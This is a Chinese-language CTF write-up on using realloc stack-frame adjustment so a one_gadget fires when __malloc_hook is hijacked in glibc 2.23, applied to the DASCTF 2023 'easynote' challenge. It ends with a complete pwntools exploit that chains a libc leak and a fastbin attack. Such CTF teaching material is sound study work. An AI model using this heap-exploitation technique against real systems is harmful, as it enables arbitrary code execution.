前言:
在前面学习malloc_hook的时候,我们会用到one_gadget,但是我们也知道,one_gadget是有要求的,如果当我们四个one_gadget都不满足要求该如何做,那么我们就可以利用realloc来调整栈帧来使得符合条件,当然如果找完了也不符合那就寄了(,同样的在调用realloc()
函数是会判断realloc_hook
的值是否为空,不为空则执行其执行的代码。同时,我们也可以用malloc_hook来指向_libc_realloc()
函数内部,然后通过realloc_hook
来触发one_gadget。就变成了malloc_hook--->realloc_hook--->one_gadget
那么先来看看 realloc 的汇编代码:(可以把 libc 拖到 ida 中看,也可以泄露地址后 gdb 调试查看 x /20i [addr]
),
我们可以发现,里面还有大量的push指令和一个sub rsp,0x38的指令,我们就可以利用这些push和sub来调整栈帧,假设我们现在从0x846c0开始执行,也就是第一条指令开始执行,那么总共可以调整0x8*6+0x38+0x8=0x70(6条push指令+sub指令+call realloc指令)就可以将rsp调到rsp-0x70的地方了,如果只执行sub这条指令那么就可以调整0x38+0x8=0x40,就可以将rsp调整到rsp-0x40的地方了,(以libc2.23为例子)那么我们one_gadget的第二个条件就可以变成[rsp-30]-[rsp-10]之间是否有=0的地方,第三个第四个条件都可以依次类推下来。
DASCTF 2023六月挑战赛|二进制专项:easynote
前面的利用unsort bin泄露libc版本和利用fastbin attack来申请到malloc_hook具体思路与我之前的文章大致思路是一样的,在这里就不过多赘述,在这只讲讲怎么利用realloc来调整栈帧来达到我的目的(劫持malloc_hook函数以及相关例题学习 - ModesL - 博客园 (cnblogs.com))
首先,利用的是libc-2.23.so版本的one_gadget,我在这里使用的是第四个one_gadget
strings libc.so.6 | grep ubuntu 查找对应的ubutun版本再利用glibc-all-in-one更换版本方便调试
我们寻找的one_gadget的条件具体是在哪呢,通过几次调试我们可以更好的看出来,我们通过pwndbg中的si指令单步进入creat函数(打的是maoolc_hook)在进入malloc@ple函数再进入call rax就可以找到了,但是进入call rax后我们发现有五条汇编,具体是要在哪一条汇编完成one_gadget的条件呢
此时rsp+0x70的位置在这里
下一条指令
以此类推下去
所以其实进入one_gadget后,发现这五步汇编指令会只改变rdi和rsi和rip的内容(也可能是我没注意到,如有错误同我联系),所以我们似乎可以通过任何一步来看是否符合one_gadget,为了方便就在第一条看即可,然后我们知道这明显不符合我们选的one_gadget的条件,我们可以利用realloc不断加1来尝试,最终在realloc+4的地方发现满足条件
完整的exp
#!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level='debug', arch='amd64', os='linux') p = process('./pwn1') # p = remote('node4.buuoj.cn', 29354) def creat(lenth, content): p.recvuntil(b'5. exit\n') p.sendline(b'1') p.recvuntil("The length of your content --->") p.sendline(str(lenth)) p.recvline() p.send(content) def edit(index, content): p.recvuntil(b'5. exit\n') p.sendline(b'2') p.recvuntil("Index --->") p.sendline(str(index).encode()) p.recvuntil("--->\n") p.sendline(str(len(content))) p.recvuntil("--->\n") p.send(content) def show(index): p.recvuntil(b'5. exit\n') p.sendline(b'4') p.recvuntil('Index --->\n') p.sendline(str(index)) def free(index): p.recvuntil(b'5. exit\n') p.sendline(b'3') p.recvuntil('Index --->\n') p.sendline(str(index)) creat(0x60, b'AAAAAA') # 0 creat(0x80, b'AAAAAA') # 1 creat(0x60, b'AAAAA') # 2 creat(0x60, b'AAAAA') # 3 free(1) show(1) __malloc_hook_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 print(hex(__malloc_hook_addr)) libc = ELF('./libc-2.23.so') libc_base = __malloc_hook_addr - libc.sym['__malloc_hook'] realloc = libc_base + libc.sym['realloc'] onegadget = libc_base + 0xf1247 fake_addr = __malloc_hook_addr - 0x20 - 3 creat(0x80, b'AAAA') # 4=1 free(2) edit(2, p64(fake_addr)) # gdb.attach(p) # pause() creat(0x60, b'bbbb') creat(0x60, b'B' * (0x13 - 8) + p64(onegadget) + p64(realloc+4)) #gdb.attach(p) #pause(1) creat(0x10, b'AA') p.interactive()
感谢这位师傅的友情解惑:XYYR-c_-CSDN博客